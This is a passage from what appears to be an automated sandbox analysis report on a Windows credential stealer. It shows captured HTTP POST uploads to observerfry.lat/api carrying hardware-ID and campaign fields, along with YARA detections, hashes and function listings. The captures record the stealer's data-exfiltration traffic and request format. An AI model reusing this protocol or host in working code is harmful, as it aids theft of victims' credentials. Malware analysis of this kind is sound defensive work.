name="hwid"FD7F68606F9EE18FBEBA0C6A975F1733--SETRTZCKVSIVYMIPContent-Disposition: form-data; name="pid"2--SETRTZCKVSIVYMIPContent-Disposition: form-data; name="lid"PsFKDg--pablo--SE
2024-12-24 10:22:25 UTC	1139	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4d4j56mksbkg6eiul2qamsg16s; expires=Sat, 19 Apr 2025 04:09:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cV738NjNa8EQb66um7%2FhpRL%2BV%2FjH8tOpKvGf1z7FbB1uxLKoN6f%2Fpuhvi0AInl0HKi4rM0jaR4dbr5URXxPtz5%2FflrgE7pbC11y67PuWPNgxnMJ%2FHyM%2BDvZ%2F%2BTIetKHBnvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fdebcf8527c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=2014&rtt_var=766&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16002&delivery_rate=1418853&cwnd=171&unsent_bytes=0&cid=44fc37fff4d34c93&ts=876&x=0"
2024-12-24 10:22:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 10:22:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49728	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GBYDC3V02UA8IRQ5X7S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: observerfry.lat
2024-12-24 10:22:26 UTC	15331	OUT	Data Raw: 2d 2d 47 42 59 44 43 33 56 30 32 55 41 38 49 52 51 35 58 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 46 36 38 36 30 36 46 39 45 45 31 38 46 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 42 59 44 43 33 56 30 32 55 41 38 49 52 51 35 58 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 42 59 44 43 33 56 30 32 55 41 38 49 52 51 35 58 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --GBYDC3V02UA8IRQ5X7SContent-Disposition: form-data; name="hwid"FD7F68606F9EE18FBEBA0C6A975F1733--GBYDC3V02UA8IRQ5X7SContent-Disposition: form-data; name="pid"3--GBYDC3V02UA8IRQ5X7SContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-24 10:22:26 UTC	5242	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-24 10:22:27 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ne8mctp3k137dca6jbipv8bmnt; expires=Sat, 19 Apr 2025 04:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D5z8fNZXeCArxzgSBiq47TD2x43nElnPs6dr0hGQ1RaWazi%2Fs4ULgVt7XgMOcbghD4BdeVgz7ehABUAYnfo6GOg16qDKQp7eEw4rec5KaalnhXOCt62LuvksdP5DrE%2BMFko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fdecb7b438cab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1975&rtt_var=750&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21535&delivery_rate=1451292&cwnd=240&unsent_bytes=0&cid=d38c36f2c53aa576&ts=956&x=0"
2024-12-24 10:22:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 10:22:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49739	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:30 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0R60RCSNSPEZPN0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1242 Host: observerfry.lat
2024-12-24 10:22:30 UTC	1242	OUT	Data Raw: 2d 2d 30 52 36 30 52 43 53 4e 53 50 45 5a 50 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 46 36 38 36 30 36 46 39 45 45 31 38 46 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 52 36 30 52 43 53 4e 53 50 45 5a 50 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 52 36 30 52 43 53 4e 53 50 45 5a 50 4e 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 52 36 30 52 Data Ascii: --0R60RCSNSPEZPN0Content-Disposition: form-data; name="hwid"FD7F68606F9EE18FBEBA0C6A975F1733--0R60RCSNSPEZPN0Content-Disposition: form-data; name="pid"1--0R60RCSNSPEZPN0Content-Disposition: form-data; name="lid"PsFKDg--pablo--0R60R
2024-12-24 10:22:31 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i7f1e0ke0m2rdflhopbb412ubt; expires=Sat, 19 Apr 2025 04:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mGWx12H2SEotBYa8A6TqhTTAx1GTmcspqYQfrgeBtCXaYHN3ldIIcTFJOWZqX%2ByM0OOxwG1z%2BAxGtNnE8i%2BJDIyTAPE5S2t0juQMcx5yikwWSHJBN1BwW9C3KClcFx8HIKE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fdee07e56f5f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1605&rtt_var=623&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2155&delivery_rate=1727810&cwnd=237&unsent_bytes=0&cid=782e9178ef27d64f&ts=765&x=0"
2024-12-24 10:22:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 10:22:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49746	104.21.36.201	443	6780	C:\Users\user\Desktop\bG89JAQXz2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:22:33 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I38T5QGS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586388 Host: observerfry.lat
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: 2d 2d 49 33 38 54 35 51 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 46 36 38 36 30 36 46 39 45 45 31 38 46 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 49 33 38 54 35 51 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 33 38 54 35 51 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 33 38 54 35 51 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --I38T5QGSContent-Disposition: form-data; name="hwid"FD7F68606F9EE18FBEBA0C6A975F1733--I38T5QGSContent-Disposition: form-data; name="pid"1--I38T5QGSContent-Disposition: form-data; name="lid"PsFKDg--pablo--I38T5QGSContent-Disposit
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: dd 68 59 03 ac 89 e2 f7 a7 23 15 fa 94 53 d5 2e 06 08 f6 6f 59 58 ff de 1d 4d 7d b7 42 db 0d b5 95 a5 4c 80 da 08 f7 bc f7 0b 89 31 c0 ad a9 dc 62 19 ce 0d 34 ff c1 67 0f c2 36 77 fd 17 f6 1c b0 49 44 b0 1b b7 e9 2e 8d 9e 83 98 ad aa 20 d5 81 17 50 7d f5 fa 57 9f c1 d5 ae 03 f6 72 4b 42 17 42 8e c1 2f 68 4d 7c 56 ec e2 87 f9 5a 71 c5 c2 57 d3 bc c6 ba 51 f0 0f 0b 28 03 62 40 dc 90 fe a5 0f 57 f1 e0 d6 fc ff b6 b8 b3 bd 79 81 d9 06 3f f3 1a 60 4a 62 7e de 24 82 bc 01 a0 06 35 2b cc 68 58 91 38 04 ee ba 86 b6 3c d3 f1 f7 68 e3 0d 42 37 a3 4d 04 2b 20 06 94 22 c2 be 82 0c df b5 9e 77 2e c0 b3 9f 9b 28 76 08 d6 51 ef 8d 92 61 d6 a0 08 87 16 1c 65 d0 67 df 3b 36 4b 75 67 cf a0 e7 68 f1 d0 f8 47 b2 e7 ea ec b2 e7 7e 46 cb 48 a2 e1 28 a1 dd ad 18 fa 21 90 ed 65 Data Ascii: hY#S.oYXM}BL1b4g6wID. P}WrKBB/hM\|VZqWQ(b@Wy?`Jb~$5+hX8<hB7M+ "w.(vQaeg;6KughG~FH(!e
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: 01 c0 18 b4 39 8f e6 fb 42 57 31 dd fb d3 85 14 69 f9 0f 11 7c 0d cd 5d a7 20 e0 f8 00 2a 6c 62 2e b3 2e 51 9d fe 87 f2 b7 6f 59 7b 62 5c d4 12 2f 91 6d 7b 4f 8e fd fc 71 90 38 87 34 da c3 7a 6d 83 7c e9 a3 61 72 00 91 c6 d0 14 c4 85 36 87 1f b1 13 13 a8 be b8 11 b9 a7 e4 f3 21 1d d0 65 99 f0 73 28 63 20 d9 f9 71 2b eb e3 8e c8 70 5e 50 96 07 ac 9c ab d4 69 12 de 4b 3d 9f f2 a3 82 78 45 df 38 b7 b5 f0 17 5f 33 2c d9 6e b8 a3 2f 39 7e e9 b4 0e 0e ac c9 55 e5 e4 9e de a5 8a fe 4c b3 ef 89 ab 7e 4b 28 d0 dd 04 bf b9 bf cd f8 ae 5a b5 8a 86 90 e4 0e 3a 1c 93 cc d6 00 1e 35 d1 28 23 94 4e 5f 73 0e e7 0b 85 42 49 1b 7c bf 9b ac 7e f9 32 df d1 0b ea c3 00 aa 66 b8 ce 35 9c 32 77 75 fe c0 8b f7 b0 b8 7e ae bf 4b fc a6 8d 4d f6 fc 5b ec 4e 2c 3d 45 0c b6 92 46 0b Data Ascii: 9BW1i\|] *lb..QoY{b\/m{Oq84zm\|ar6!es(c q+p^PiK=xE8_3,n/9~UL~K(Z:5(#N_sBI\|~2f52wu~KM[N,=EF
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: ad 51 03 6d a4 7f 45 df 68 e2 e8 6e cb 6b 3d 0b 92 3f ab 70 dd 67 43 07 40 9b a9 b0 de ea 94 d3 d9 26 c1 25 8b e4 c2 79 c9 86 c7 7a 30 c8 e7 d3 29 f6 54 69 77 53 d3 56 29 4f c1 90 98 22 95 49 d6 1a 69 7a 4a 70 fd de 7f 77 c0 bb ff 5c 47 8c 49 f1 da bd d9 51 cb fe e9 65 1f 01 ca c5 f5 83 f6 a6 06 d8 f1 0a cf 65 df af a8 b2 4e d4 91 ad 59 49 e1 d2 1f e3 95 a4 83 24 d3 b2 bd 05 0f 75 48 ec 7f 5f 85 4f d2 43 65 29 85 1b fe 39 fe 57 35 77 e9 79 5d b0 b2 b7 32 e0 d6 9c e3 02 f5 fa 84 b1 11 c6 26 dc 3c c8 ef 72 eb df 3b 2c 8b 79 41 c9 df fd f2 f2 35 40 9f 00 f3 89 11 b5 5d 0f cc fb 5c 20 66 02 75 ae dd d3 7b 80 bb 08 db 63 3f dc 96 0b 38 7b 8d 9c fe e9 c0 cb ba f3 a0 28 37 cb 04 46 a3 c2 e2 e9 a0 23 bc fa 16 c8 6f dd b5 2a 23 87 19 2a 47 85 8b f1 cd 6a 2c e8 82 Data Ascii: QmEhnk=?pgC@&%yz0)TiwSV)O"IizJpw\GIQeeNYI$uH_OCe)9W5wy]2&<r;,yA5@]\ fu{c?8{(7F#o#Gj,
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: f2 47 ce 01 80 1b 92 31 aa 0c ca 4e 7c be 80 15 27 9f 51 c6 14 b5 19 fa b2 a2 a4 20 2f df 82 31 91 3f 46 91 41 4f 61 1c ad d0 97 d7 18 c6 bd 89 99 ed 1a ce 74 7b 7e d4 12 4b eb 28 43 89 8a cc 06 96 f0 74 2a 98 25 65 1e 21 88 3a d7 22 a3 22 a3 22 c3 9f 9b 87 ec 9b d8 ee e4 22 46 05 07 c6 d6 0c 88 9d d3 6e b6 3e 1a 96 ae 0b 3c fa d1 76 24 5d 45 0b 17 f8 f6 7f f1 29 fd 61 90 0f e4 17 03 4c 90 01 52 8c 62 4e 6d 85 f3 c5 34 97 e5 c1 09 23 f5 2b 68 2f 01 1c 8d 6c 6c 14 6e d0 c6 8c e8 12 6a ce 52 eb d9 3a c7 70 80 23 c4 77 30 6a 46 72 1c f3 b5 72 31 92 94 b2 9a f9 d6 a4 43 13 ed c6 bc ea b2 d2 bf 9e c0 ab 36 d9 c6 7b 62 e3 e1 77 13 cc ca 26 bf 2a 36 7d 8f 7a 97 54 8e 47 43 71 d7 67 d3 e6 cc 36 c3 c1 79 e9 c7 9b 9f 34 3a 1a a3 76 4b 7f c5 e4 f9 d2 84 fa 0e 81 a2 Data Ascii: G1N\|'Q /1?FAOat{~K(Ct%e!:""""Fn><v$]E)aLRbNm4#+h/llnjR:p#w0jFrr1C6{bw&6}zTGCqg6y4:vK
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: ae 27 fb 32 a3 5e 96 1f d4 33 b5 b4 a7 ee c2 0a fc 92 2b ba 63 b2 51 e9 b5 da 1d 48 55 48 4c 8d 82 23 03 4a bc ba ca f0 a6 27 76 bb 61 df 9c b2 ec 85 a5 36 8a 2d 5b 50 a4 19 ae eb 81 df ff 15 54 bd ff 48 7b d9 49 02 71 f1 37 d3 88 2f ab 29 61 1e 5a 60 f1 71 1a 55 c7 a4 ea db 02 67 a1 f5 85 45 ea d0 fc c7 0e 79 b0 69 22 0e fc 86 61 19 2c 98 24 d2 6d 8d 1e 96 e4 3b ca b9 f7 6f 86 14 85 ae cc 08 63 07 c6 46 12 7b 4b dc ee 0d 04 06 5f 2b 72 5d 7a e9 b2 21 eb 9d d5 6f ed 20 33 a7 a3 16 0d 57 6d d8 b6 b2 4f 9d 5d 5b b0 e9 5f e9 b3 8d 41 0a a8 ef 86 bd c0 00 84 9a 67 51 c2 0a 57 02 61 09 4a 3f 47 ee 72 6c 62 6a 9b f3 c4 86 6f 2f dc 77 00 a4 68 98 03 7a e5 cd b9 39 61 e0 e0 fd eb d8 97 32 76 f4 c2 56 95 11 08 25 64 c8 d3 e5 49 19 f7 19 6b 3a dc 7c b9 8d 47 0f 0f Data Ascii: '2^3+cQHUHL#J'va6-[PTH{Iq7/)aZ`qUgEyi"a,$m;ocF{K_+r]z!o 3WmO][_AgQWaJ?Grlbjo/whz9a2vV%dIk:\|G
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: 46 5a 1f 4a 23 a0 42 6c 5d 88 ef a0 b6 ca 3f 6a 8c 84 0d 6d 89 04 0d e0 5e 98 ef 8b 12 16 3e 2f a5 a4 94 67 68 bb 5d 2d 05 23 51 ba 28 df 89 88 8b 62 47 27 eb 67 a6 e7 af 95 27 7a 39 aa a2 ce 6d 36 04 a8 3b a3 50 db 88 28 05 9e bf bd 7e 1a 6c 5a 6d 66 83 84 19 1e 6e 08 40 23 6e 7f c5 18 ae fc 08 a6 19 91 f4 fb 5c 5f 75 36 6d a3 45 f7 cc d6 be a8 31 61 9f f6 37 c4 52 b8 1b 6d db db 51 6e 50 86 89 4e b9 c8 7d 76 8d d8 f7 c9 7c 24 9c 8f 7a 88 1b f9 fa 50 46 5e 88 53 51 fd f4 8e 11 5b 4e 1c dc 4c bb 11 46 bc 56 ae b2 62 09 b4 77 47 29 5e d9 5d b3 52 96 76 0f 24 9f 17 d0 b7 60 7d bf 2a cf 88 92 ec fe 26 76 3e 16 e7 19 7b 6c 46 8e ef 0b ca 37 ee f0 70 4b 65 ea b1 a4 5b 9c 63 42 64 5e f0 f6 f1 05 59 88 f6 55 de 41 4e d5 be ec e8 95 4f 01 5e ab 8b b5 82 e6 0f c4 Data Ascii: FZJ#Bl]?jm^>/gh]-#Q(bG'g'z9m6;P(~lZmfn@#n\_u6mE1a7RmQnPN}v\|$zPF^SQ[NLFVbwG)^]Rv$`}*&v>{lF7pKe[cBd^YUANO^
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: ff 85 1f 3a 7c da 36 b9 4e 6d 9f f9 bf 5f 86 da 79 d1 78 44 4e 0e 3e 2a eb a7 54 12 ce 85 5a 00 51 37 37 16 99 82 8a d3 fb a4 56 c9 8f 24 56 06 29 3c 46 47 5f 65 9f a4 81 ea cc 3a ec 29 c4 8f 19 81 9e 9e fe d5 3d fd 5c 7f b8 eb 57 d7 50 5d 1a 59 ff d1 46 34 db 5c 95 0e 0b 86 7f 5c c1 49 91 3a 29 39 ce e5 63 78 3d fc 16 98 c5 94 43 b4 01 4a 74 cb 82 cf e0 8a 15 f4 71 8c c1 b7 1a d3 07 47 61 c2 35 85 b3 34 30 d3 2a d3 45 1e ca 69 1e 46 65 3e 86 11 8c 30 75 76 67 f8 27 de 28 6c 4e 65 b7 2c 34 df 79 30 30 53 28 7f 59 7f f1 50 ce 15 6d b7 7f 87 df 11 af 56 6c fe 28 5f e9 5a f2 2a ac 2a 55 27 5f 51 97 a0 75 c1 bb 17 83 78 47 0a eb 32 26 f3 90 f8 57 68 f4 85 df a3 1c 75 d5 47 5f a2 7f c4 f0 83 86 37 dc d4 d4 08 e7 41 44 14 f9 25 db 74 a5 90 f3 cb 64 67 b4 ff 52 Data Ascii: :\|6Nm_yxDN>TZQ77V$V)<FG_e:)=\WP]YF4\\I:)9cx=CJtqGa540EiFe>0uvg'(lNe,4y00S(YPmVl(_Z**U'_QuxG2&WhuG_7AD%tdgR
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: 3c 17 a6 f9 bb b5 e1 77 0c 8e fb aa c6 de 9f 49 ab 48 51 03 db f8 a6 b3 5f b5 8f 70 15 be ba 18 f1 f9 bf 3c 98 e1 24 83 95 ab 4d b5 2a 3f 5e d7 8f 53 9e 43 74 66 75 41 e9 72 a3 fe 32 7a f1 e6 58 64 1a b2 5a b3 cc 32 2b 09 b1 28 1e 9b 08 e9 49 d6 9a be 2a ed 98 68 25 0f 03 c2 87 86 3f 8b 54 d9 ff 7b b0 1d 1b 1d af dc 65 81 a8 3a 04 ee e8 03 46 83 2b 06 38 df 4f 7e a1 d5 5d 12 81 db 2d 64 95 90 86 11 1c 25 04 da 67 15 b3 0c c5 4a 33 b3 16 6b 9e 3b 92 11 d4 f4 34 94 32 ad 2f 2c e2 8c a9 29 98 eb 81 8c 06 5b e8 37 11 d4 3d 7f 38 65 1d 7a f1 b2 08 75 ad d4 6c 54 06 96 1a 86 a8 92 03 c5 46 f9 7d 18 00 63 ef e1 6a 02 15 51 44 8f 81 7b 22 55 1b 76 55 01 4a 4d 69 14 01 4f 56 e3 7d b6 6e ac bd 71 7b 20 6a 5d a9 0e e1 52 41 9c d0 95 fc d9 12 d6 d4 70 17 46 30 ff 89 Data Ascii: <wIHQ_p<$M?^SCtfuAr2zXdZ2+(Ih%?T{e:F+8O~]-d%gJ3k;42/,)[7=8ezulTF}cjQD{"UvUJMiOV}nq{ j]RApF0
2024-12-24 10:22:33 UTC	15331	OUT	Data Raw: 61 2f 88 bf 49 c7 c0 98 30 8e 1d 05 50 bf 69 02 a5 b5 41 98 92 fc 47 23 47 8d 11 49 f6 8d bd e9 25 5f 19 9a fb ef 4e 59 fc 6e 0c 3a 5e 15 f5 41 bc 03 5d 67 c8 99 d7 10 d6 0c 88 93 e0 0d 19 19 1a 85 18 04 1c 3b 49 db d1 4a 2c 4f ce aa b7 40 f5 01 27 c5 42 2b 5f 81 08 b8 bd 56 6f 80 90 ad 48 8f fc c9 6b 6d be 98 f0 1c ca 8a 25 05 3a 4a 86 16 49 c8 57 8d 95 48 a0 be 8f 36 96 d2 62 fe de 26 ea c3 9d fa 5d 15 54 36 e8 78 1a 42 40 7d 5f 55 f7 9f 95 93 22 fc d1 cd 55 d9 63 e6 0a 6c 70 7f f7 a9 79 09 f9 13 fe fc de 21 3d 04 63 d1 b7 79 4d 9c 52 53 96 75 4f 93 a7 65 b6 38 e3 2d b5 a7 aa 06 57 fd a8 d1 58 5a ce 14 4a e1 05 da a4 47 7a d8 c9 15 b7 b5 4e ff 2c fc b3 2a 66 e3 9d 9c 59 33 09 cf ae c6 96 cd 43 56 dc 25 76 19 18 26 be 96 2a b9 9b 1f 67 c6 3b 59 d6 a3 db Data Ascii: a/I0PiAG#GI%_NYn:^A]g;IJ,O@'B+_VoHkm%:JIWH6b&]T6xB@}_U"Uclpy!=cyMRSuOe8-WXZJGzN,fY3CV%v&g;Y
2024-12-24 10:22:35 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k5haq6658su9aohhg023b5nu2v; expires=Sat, 19 Apr 2025 04:09:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dQ443kz%2BTzAuPhhW%2F9%2BhvADz5%2Bcqcwjnz7ncYU6rJRRJDE7yxgKiRmCLAdtqMCrND36DzpsdLXjKssCFHVIZVtFaCJ%2FGsRiP4chrVOAYsyowB5bM5VWMHftvH9w5B%2FuoypM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6fdef27e9e7d08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2097&min_rtt=2003&rtt_var=818&sent=370&recv=608&lost=0&retrans=0&sent_bytes=2836&recv_bytes=588968&delivery_rate=1457813&cwnd=177&unsent_bytes=0&cid=281bbc8cb4322b13&ts=2535&x=0"

Target ID:	0
Start time:	05:22:12
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\bG89JAQXz2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bG89JAQXz2.exe"
Imagebase:	0xd10000
File size:	1'883'136 bytes
MD5 hash:	31E8115C0EED64699CE7E3480F6F3EDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2304764046.0000000001312000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0134E435 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2304764046.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_bG89JAQXz2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b19bd86141fe6f782afda88947985e093ed38c0753a8d79227c96bf97e9d45
Instruction ID: 74e29be0085cc80abb4afce0ed0d60e14902b349b60470517df43e7e7b0caca3
Opcode Fuzzy Hash: 97b19bd86141fe6f782afda88947985e093ed38c0753a8d79227c96bf97e9d45
Instruction Fuzzy Hash: F1F1556554E3C16FCB438B3448656967FB1AE23218B5F64EBD0C0CF4B3E22A590AD763

Function 0134F472 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2304764046.0000000001349000.00000004.00000020.00020000.00000000.sdmp, Offset: 01349000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1349000_bG89JAQXz2.jbxd

